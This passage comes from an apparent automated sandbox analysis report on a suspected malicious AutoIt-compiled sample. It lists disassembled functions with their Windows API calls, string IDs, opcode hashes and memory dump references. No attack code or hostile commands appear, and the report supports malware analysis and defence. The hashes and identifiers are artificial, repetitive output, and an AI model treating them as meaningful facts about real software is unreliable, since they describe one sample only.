                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                              • String ID: ($0$tooltips_class32
                                                              • API String ID: 698492251-4156429822
                                                              • Opcode ID: c836350f304ad7b428d8f5ce88572c8e1abc92c02f8c84909a8585e8643dd860
                                                              • Instruction ID: 4e3fb791aecd1b3aa549d0eeac36456a7440df2ee0de87c1adacdc9bdd12f8ec
                                                              • Opcode Fuzzy Hash: c836350f304ad7b428d8f5ce88572c8e1abc92c02f8c84909a8585e8643dd860
                                                              • Instruction Fuzzy Hash: D0B16C71604340AFDB04DF64C888BAABBE4BF88714F008A1DF9999B292D779EC05CB55
                                                              Function 007327D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 007328BC
                                                              • GetSystemMetrics.USER32(00000007), ref: 007328C4
                                                              • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 007328EF
                                                              • GetSystemMetrics.USER32(00000008), ref: 007328F7
                                                              • GetSystemMetrics.USER32(00000004), ref: 0073291C
                                                              • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00732939
                                                              • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00732949
                                                              • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0073297C
                                                              • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00732990
                                                              • GetClientRect.USER32(00000000,000000FF), ref: 007329AE
                                                              • GetStockObject.GDI32(00000011), ref: 007329CA
                                                              • SendMessageW.USER32(00000000,00000030,00000000), ref: 007329D5
                                                                • Part of subcall function 00732344: GetCursorPos.USER32(?), ref: 00732357
                                                                • Part of subcall function 00732344: ScreenToClient.USER32(007F57B0,?), ref: 00732374
                                                                • Part of subcall function 00732344: GetAsyncKeyState.USER32(00000001), ref: 00732399
                                                                • Part of subcall function 00732344: GetAsyncKeyState.USER32(00000002), ref: 007323A7
                                                              • SetTimer.USER32(00000000,00000000,00000028,00731256), ref: 007329FC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                              • String ID: AutoIt v3 GUI
                                                              • API String ID: 1458621304-248962490
                                                              • Opcode ID: 08f1f43d60a33de9e64c6949144f21828220d28cc0ba44ec37a328216c51adff
                                                              • Instruction ID: 5d4aaa84ee58a1efe30f692630645795e19faed292fa1149d97e2548378d45dc
                                                              • Opcode Fuzzy Hash: 08f1f43d60a33de9e64c6949144f21828220d28cc0ba44ec37a328216c51adff
                                                              • Instruction Fuzzy Hash: 69B15F7160020AEFEB15DFA8DC45BED7BB4FB08710F108229FA15A7291DB78A851CB54
                                                              Function 0076A8CB Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 211COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
                                                              • String ID: {nu${nu
                                                              • API String ID: 884005220-3693749880
                                                              • Opcode ID: f2748daf0beee842e6fd8d6bba49bb8db13ce554b1d966e49e14e5b7667a94cb
                                                              • Instruction ID: 38b5f80cc7283bd09264773c3820d00a17b79f45200afb964cf94ecc1fe38930
                                                              • Opcode Fuzzy Hash: f2748daf0beee842e6fd8d6bba49bb8db13ce554b1d966e49e14e5b7667a94cb
                                                              • Instruction Fuzzy Hash: F861F272900316FFEB119F64D8067A977A8EF01361F21811AEC02B7191EB7DA945CFA2
                                                              Function 0078A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetClassNameW.USER32(?,?,00000100), ref: 0078A47A
                                                              • __swprintf.LIBCMT ref: 0078A51B
                                                              • _wcscmp.LIBCMT ref: 0078A52E
                                                              • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0078A583
                                                              • _wcscmp.LIBCMT ref: 0078A5BF
                                                              • GetClassNameW.USER32(?,?,00000400), ref: 0078A5F6
                                                              • GetDlgCtrlID.USER32(?), ref: 0078A648
                                                              • GetWindowRect.USER32(?,?), ref: 0078A67E
                                                              • GetParent.USER32(?), ref: 0078A69C
                                                              • ScreenToClient.USER32(00000000), ref: 0078A6A3
                                                              • GetClassNameW.USER32(?,?,00000100), ref: 0078A71D
                                                              • _wcscmp.LIBCMT ref: 0078A731
                                                              • GetWindowTextW.USER32(?,?,00000400), ref: 0078A757
                                                              • _wcscmp.LIBCMT ref: 0078A76B
                                                                • Part of subcall function 0075362C: _iswctype.LIBCMT ref: 00753634
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
                                                              • String ID: %s%u
                                                              • API String ID: 3744389584-679674701
                                                              • Opcode ID: 81f39d9108e7f4f3185da9cb2e7f088ee30803a28657a1eec95b374688b10dee
                                                              • Instruction ID: 60591a8fec6c06175e701249c13f7ef58d2b622f494209e3bc475f055fbb396c
                                                              • Opcode Fuzzy Hash: 81f39d9108e7f4f3185da9cb2e7f088ee30803a28657a1eec95b374688b10dee
                                                              • Instruction Fuzzy Hash: C6A1B371244206FFE714EF64C888FAAB7E8FF44355F10862AF999C2150D738E955CB92
                                                              Function 0078AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetClassNameW.USER32(00000008,?,00000400), ref: 0078AF18
                                                              • _wcscmp.LIBCMT ref: 0078AF29
                                                              • GetWindowTextW.USER32(00000001,?,00000400), ref: 0078AF51
                                                              • CharUpperBuffW.USER32(?,00000000), ref: 0078AF6E
                                                              • _wcscmp.LIBCMT ref: 0078AF8C
                                                              • _wcsstr.LIBCMT ref: 0078AF9D
                                                              • GetClassNameW.USER32(00000018,?,00000400), ref: 0078AFD5
                                                              • _wcscmp.LIBCMT ref: 0078AFE5
                                                              • GetWindowTextW.USER32(00000002,?,00000400), ref: 0078B00C
                                                              • GetClassNameW.USER32(00000018,?,00000400), ref: 0078B055
                                                              • _wcscmp.LIBCMT ref: 0078B065
                                                              • GetClassNameW.USER32(00000010,?,00000400), ref: 0078B08D
                                                              • GetWindowRect.USER32(00000004,?), ref: 0078B0F6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                              • String ID: @$ThumbnailClass
                                                              • API String ID: 1788623398-1539354611
                                                              • Opcode ID: e232edf851395b30ca99f295de0a0d5168269649d7fce1790c65d19e5297597f
                                                              • Instruction ID: 833094549b5c905ebbe9195aa930e4862e6eacfb31ababf99086bc0193ae0f08
                                                              • Opcode Fuzzy Hash: e232edf851395b30ca99f295de0a0d5168269649d7fce1790c65d19e5297597f
                                                              • Instruction Fuzzy Hash: ED81C371148309EFEB05EF14C889FAA77D8EF44714F04856AFD858A0A6DB38DD49CB61
                                                              Function 0078ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __wcsnicmp
                                                              • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                              • API String ID: 1038674560-1810252412
                                                              • Opcode ID: 76ba645425e3a879761d23bff8d7d60dbec573959fe11db75ff6fc6a185661ac
                                                              • Instruction ID: 91f1138abfe7fcf343256242991d47a40934689ff645fa37a9869a51099e48c0
                                                              • Opcode Fuzzy Hash: 76ba645425e3a879761d23bff8d7d60dbec573959fe11db75ff6fc6a185661ac
                                                              • Instruction Fuzzy Hash: 2C31C4B0A88249F6EA18FA55DD4BEEE77A49F14711F60442AF801710D2EF5D6F04C762
                                                              Function 007A4FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadCursorW.USER32(00000000,00007F8A), ref: 007A5013
                                                              • LoadCursorW.USER32(00000000,00007F00), ref: 007A501E
                                                              • LoadCursorW.USER32(00000000,00007F03), ref: 007A5029
                                                              • LoadCursorW.USER32(00000000,00007F8B), ref: 007A5034
                                                              • LoadCursorW.USER32(00000000,00007F01), ref: 007A503F
                                                              • LoadCursorW.USER32(00000000,00007F81), ref: 007A504A
                                                              • LoadCursorW.USER32(00000000,00007F88), ref: 007A5055
                                                              • LoadCursorW.USER32(00000000,00007F80), ref: 007A5060
                                                              • LoadCursorW.USER32(00000000,00007F86), ref: 007A506B
                                                              • LoadCursorW.USER32(00000000,00007F83), ref: 007A5076
                                                              • LoadCursorW.USER32(00000000,00007F85), ref: 007A5081
                                                              • LoadCursorW.USER32(00000000,00007F82), ref: 007A508C
                                                              • LoadCursorW.USER32(00000000,00007F84), ref: 007A5097
                                                              • LoadCursorW.USER32(00000000,00007F04), ref: 007A50A2
                                                              • LoadCursorW.USER32(00000000,00007F02), ref: 007A50AD
                                                              • LoadCursorW.USER32(00000000,00007F89), ref: 007A50B8
                                                              • GetCursorInfo.USER32(?), ref: 007A50C8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Cursor$Load$Info
                                                              • String ID:
                                                              • API String ID: 2577412497-0
                                                              • Opcode ID: 44174dbd19f46ef9a52183b3b704060dd245de8705445bad60a35b4fba4845ff
                                                              • Instruction ID: 6b5aba5be1b31715feb70bff0bc4fd4c7bbd7422d2325e570333ded84753f7ce
                                                              • Opcode Fuzzy Hash: 44174dbd19f46ef9a52183b3b704060dd245de8705445bad60a35b4fba4845ff
                                                              • Instruction Fuzzy Hash: 3331E1B1D4831DAADB109FB68C899AFBFE8FB44750F50452AA50DE7281DA78A5008E91
                                                              Function 007BA1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 007BA259
                                                              • DestroyWindow.USER32(?,?), ref: 007BA2D3
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 007BA34D
                                                              • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 007BA36F
                                                              • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 007BA382
                                                              • DestroyWindow.USER32(00000000), ref: 007BA3A4
                                                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00730000,00000000), ref: 007BA3DB
                                                              • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 007BA3F4
                                                              • GetDesktopWindow.USER32 ref: 007BA40D
                                                              • GetWindowRect.USER32(00000000), ref: 007BA414
                                                              • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 007BA42C
                                                              • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 007BA444
                                                                • Part of subcall function 007325DB: GetWindowLongW.USER32(?,000000EB), ref: 007325EC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
                                                              • String ID: 0$tooltips_class32
                                                              • API String ID: 1297703922-3619404913
                                                              • Opcode ID: 88f0c009c3d5d3c3e55acb85c2a9311dd0fd96f49a2c868ed85e12b85ffe0060
                                                              • Instruction ID: 0cf3ac3f19e52cc1b076abce9a89dc0e293ea98ecdbc3c6f731cf5dbd1beddc2
                                                              • Opcode Fuzzy Hash: 88f0c009c3d5d3c3e55acb85c2a9311dd0fd96f49a2c868ed85e12b85ffe0060
                                                              • Instruction Fuzzy Hash: C871CD70140645BFE725DF28CC49FAA7BE5FB88704F04852DF985872A1DBB8E902CB56
                                                              Function 007BC5FE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • DragQueryPoint.SHELL32(?,?), ref: 007BC627
                                                                • Part of subcall function 007BAB37: ClientToScreen.USER32(?,?), ref: 007BAB60
                                                                • Part of subcall function 007BAB37: GetWindowRect.USER32(?,?), ref: 007BABD6
                                                                • Part of subcall function 007BAB37: PtInRect.USER32(?,?,007BC014), ref: 007BABE6
                                                              • SendMessageW.USER32(?,000000B0,?,?), ref: 007BC690
                                                              • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 007BC69B
                                                              • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 007BC6BE
                                                              • _wcscat.LIBCMT ref: 007BC6EE
                                                              • SendMessageW.USER32(?,000000C2,00000001,?), ref: 007BC705
                                                              • SendMessageW.USER32(?,000000B0,?,?), ref: 007BC71E
                                                              • SendMessageW.USER32(?,000000B1,?,?), ref: 007BC735
                                                              • SendMessageW.USER32(?,000000B1,?,?), ref: 007BC757
                                                              • DragFinish.SHELL32(?), ref: 007BC75E
                                                              • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 007BC851
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                              • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                              • API String ID: 169749273-3440237614
                                                              • Opcode ID: d2668ffe42db3c9dde564e5a3f7e531230a49f6369a8b58671e52efd5996feac
                                                              • Instruction ID: d7bc2ae29efa0ee93b6cc6e19ad464fc3e8a78448e9f04a37b3b05add6438e2b
                                                              • Opcode Fuzzy Hash: d2668ffe42db3c9dde564e5a3f7e531230a49f6369a8b58671e52efd5996feac
                                                              • Instruction Fuzzy Hash: D5617271108300EFD701EF64CC89EAFBBE8EF88710F00492EF695961A1DB74A909CB56
                                                              Function 007B4392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharUpperBuffW.USER32(?,?), ref: 007B4424
                                                              • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 007B446F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: BuffCharMessageSendUpper
                                                              • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                              • API String ID: 3974292440-4258414348
                                                              • Opcode ID: 046511abf9e829a23223180ffcd29772fae70ea924a1a9d54c0253d39f32aa26
                                                              • Instruction ID: 68c9cffa9bc6a2d8aa5c6051b397dd37c30574eeb314422f1047dc4a77393d97
                                                              • Opcode Fuzzy Hash: 046511abf9e829a23223180ffcd29772fae70ea924a1a9d54c0253d39f32aa26
                                                              • Instruction Fuzzy Hash: BD918A71200700DFDB14EF24C895AAEB7A1AF95354F04886CF9965B3A3CB79ED09CB81
                                                              Function 007BB7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 007BB8B4
                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,007B6B11,?), ref: 007BB910
                                                              • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 007BB949
                                                              • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 007BB98C
                                                              • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 007BB9C3
                                                              • FreeLibrary.KERNEL32(?), ref: 007BB9CF
                                                              • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 007BB9DF
                                                              • DestroyIcon.USER32(?), ref: 007BB9EE
                                                              • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 007BBA0B
                                                              • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 007BBA17
                                                                • Part of subcall function 00752EFD: __wcsicmp_l.LIBCMT ref: 00752F86
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                              • String ID: .dll$.exe$.icl
                                                              • API String ID: 1212759294-1154884017
                                                              • Opcode ID: fdc10b39941451c3386324d64e12d8379c9035a90c5abfd6e7a7557f6840e15b
                                                              • Instruction ID: 6d92645aaf8838290a0f5d40fb64bcb75471f14ae9fb32df3c53e67e60a49baf
                                                              • Opcode Fuzzy Hash: fdc10b39941451c3386324d64e12d8379c9035a90c5abfd6e7a7557f6840e15b
                                                              • Instruction Fuzzy Hash: 8761DEB1900209FAEB14DF64CC45FFE7BA8EB08B11F108215FE15D61C1DBB8A981DBA0
                                                              Function 0079DC1A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLocalTime.KERNEL32(?), ref: 0079DCDC
                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 0079DCEC
                                                              • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0079DCF8
                                                              • __wsplitpath.LIBCMT ref: 0079DD56
                                                              • _wcscat.LIBCMT ref: 0079DD6E
                                                              • _wcscat.LIBCMT ref: 0079DD80
                                                              • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0079DD95
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0079DDA9
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0079DDDB
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0079DDFC
                                                              • _wcscpy.LIBCMT ref: 0079DE08
                                                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0079DE47
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                                              • String ID: *.*
                                                              • API String ID: 3566783562-438819550
                                                              • Opcode ID: ea59b8c6aa3ebffbe3cc72424a01063728ab27f844b7c7b1d812974fcc75cbad
                                                              • Instruction ID: ba7a0a630c2ed46961b19b34c0027824e66358fcdff90bb79ad6db6737ba9cd5
                                                              • Opcode Fuzzy Hash: ea59b8c6aa3ebffbe3cc72424a01063728ab27f844b7c7b1d812974fcc75cbad
                                                              • Instruction Fuzzy Hash: 4A615B725043059FDB10EF64D888AAEB3E8FF89310F04491DF98997252DB79ED45CB52
                                                              Function 00799C38 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00799C7F
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                              • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00799CA0
                                                              • __swprintf.LIBCMT ref: 00799CF9
                                                              • __swprintf.LIBCMT ref: 00799D12
                                                              • _wprintf.LIBCMT ref: 00799DB9
                                                              • _wprintf.LIBCMT ref: 00799DD7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
